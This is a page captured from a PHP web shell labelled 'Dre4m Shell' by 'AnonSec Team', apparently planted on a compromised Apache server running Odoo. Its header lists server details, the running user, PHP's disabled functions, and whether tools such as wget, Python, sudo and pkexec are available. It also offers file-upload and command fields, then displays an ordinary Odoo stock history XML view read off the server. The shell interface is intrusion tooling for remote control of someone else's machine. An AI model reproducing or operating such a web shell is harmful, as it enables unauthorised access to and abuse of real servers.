Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.117.158.108
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/stock_account/report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/stock_account/report/stock_history_views.xml
<?xml version="1.0" encoding="utf-8"?>
<odoo>
    <record id="view_stock_history_report_tree" model="ir.ui.view">
        <field name="name">Stock Value At Date</field>
        <field name="model">stock.history</field>
        <field name="arch" type="xml">
            <tree string="Stock Value At Date" create="0" delete="0">
                <field name="location_id" invisible="1"/>
                <field name="product_id" invisible="1"/>
                <field name="move_id"/>
                <field name="company_id" groups="base.group_multi_company"/>
                <field name="date"/>
                <field name="source"/>
                <field name="quantity" sum="# of Products "/>
                <field name="inventory_value" sum="Total Value"/>
            </tree>
        </field>
    </record>
    <record id="view_stock_history_report_pivot" model="ir.ui.view">
        <field name="name">stock.history.value.pivot</field>
        <field name="model">stock.history</field>
        <field name="arch" type="xml">
            <pivot string="Stock Value At Date">
                <field name="product_id" type="row"/>
                <field name="location_id" type="row"/>
                <field name="quantity" type="measure"/>
            </pivot>
        </field>
    </record>
    <record id="view_stock_history_report_graph" model="ir.ui.view">
        <field name="name">stock.history.value.graph</field>
        <field name="model">stock.history</field>
        <field name="arch" type="xml">
            <graph string="Stock Value At Date">
                <field name="product_id"/>
                <field name="location_id"/>
                <field name="quantity" type="measure"/>
            </graph>
        </field>
    </record>
    <record id="view_stock_history_report_search" model="ir.ui.view">
        <field name="name">stock.history.report.search</field>
        <field name="model">stock.history</field>
        <field name="arch" type="xml">
            <search string="Stock Value At Date">
                <field name="product_id"/>
                <field name="location_id" filter_domain="[('location_id', 'child_of', self)]"/>
                <field name="company_id" groups="base.group_multi_company"/>
                <group expand="1" string="Group By">
                    <filter string="Product" context="{'group_by':'product_id'}" name='group_by_product'/>
                    <filter string="Product Category" context="{'group_by':'product_categ_id'}"/>
                    <filter string="Product Template" context="{'group_by':'product_template_id'}" name="group_by_product_template"/>
                    <filter string="Location" context="{'group_by':'location_id'}" name='group_by_location'/>
                    <filter string="Stock Move" context="{'group_by':'move_id'}"/>
                    <filter string="Lot/Serial Number" context="{'group_by':'serial_number'}" groups="stock.group_production_lot"/>
                    <filter string="Company" context="{'group_by':'company_id'}" groups="base.group_multi_company"/>
                 </group>
            </search>
        </field>
    </record>
    <record id="action_stock_history" model="ir.actions.act_window">
        <field name="name">Stock History</field>
        <field name="res_model">stock.history</field>
        <field name="view_type">form</field>
        <field name="view_mode">tree,graph,pivot</field>
    </record>
</odoo>

Anon7 - 2022
AnonSec Team